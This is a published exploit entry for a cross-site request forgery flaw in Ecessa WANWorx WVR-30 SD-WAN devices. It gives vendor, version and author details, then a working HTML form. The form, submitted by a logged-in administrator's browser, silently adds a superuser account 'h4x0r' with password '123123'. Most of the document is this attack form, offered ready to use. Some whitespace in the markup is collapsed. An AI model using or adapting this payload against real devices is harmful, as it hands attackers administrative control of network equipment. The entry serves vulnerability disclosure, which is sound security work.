# Exploit title: Ecessa WANWorx WVR-30 < 10.7.4 - Cross-Site Request Forgery (Add Superuser)# Date: 2018-05-21# Author: LiquidWorm# Vendor: Ecessa Corporation# Product web page: https://www.ecessa.com# Affected version: 10.7.4, 10.6.9, 10.7.4, 10.6.5.2, 10.5.4, 10.2.24, 9.2.24# Summary: Ecessa's WANworX SD-WAN solutions increase network performance and# reliability by leveraging any connection. That can be premium priced MPLS,# lower cost broadband, or cellular 4G or LTE. Many of today’s WAN deployments# are based on older technology that was acceptable when businesses did not run# at breakneck speed or when operations didn’t grind to a halt when connectivity# was disrupted. In today’s cloud-based applications, datacenters and distributed# networks, where so much is virtualized and delivered as–a-service, limited# bandwidth and network outages don’t just slow productivity, they stop it.# Desc: The application interface allows users to perform certain actions via# HTTP requests without performing any validity checks to verify the requests.# This can be exploited to perform certain actions with administrative privileges# if a logged-in user visits a malicious web site.<html><body><form action="https://127.0.0.1/cgi-bin/pl_web.cgi/util_configlogin_act" method="POST"><inputtype="hidden" name="savecrtcfg" value="checked"/><inputtype="hidden" name="user_username1" value="root"/><inputtype="hidden" name="user_enabled1" value="on"/><inputtype="hidden" name="user_passwd1" value=""/><inputtype="hidden" name="user_passwd_verify1" value=""/><inputtype="hidden" name="user_delete1" value=""/><inputtype="hidden" name="user_username2" value="admin"/><inputtype="hidden" name="user_passwd2" value=""/><inputtype="hidden" name="user_passwd_verify2" value=""/><inputtype="hidden" name="user_delete2" value=""/><inputtype="hidden" name="user_username3" value="user"/><inputtype="hidden" name="user_enabled3" value="on"/><inputtype="hidden" name="user_passwd3" value=""/><inputtype="hidden" name="user_passwd_verify3" value=""/><inputtype="hidden" name="user_delete3" value=""/><inputtype="hidden" name="user_username4" value="h4x0r"/><inputtype="hidden" name="user_enabled4" value="on"/><inputtype="hidden" name="user_superuser4" value="on"/><inputtype="hidden" name="user_passwd4" value="123123"/><inputtype="hidden" name="user_passwd_verify4" value="123123"/><inputtype="hidden" name="users_num" value="4"/><inputtype="hidden" name="page" value="util_configlogin"/><inputtype="hidden" name="val_requested_page" value="user_accounts"/><inputtype="hidden" name="savecrtcfg" value="checked"/><inputtype="hidden" name="page_uuid" value="73f90fa3-2e60-4fd7-a792-1ff6c7513d92"/><inputtype="hidden" name="form_has_changed" value="1"/><inputtype="submit" value="Supersize!"/></form></body></html>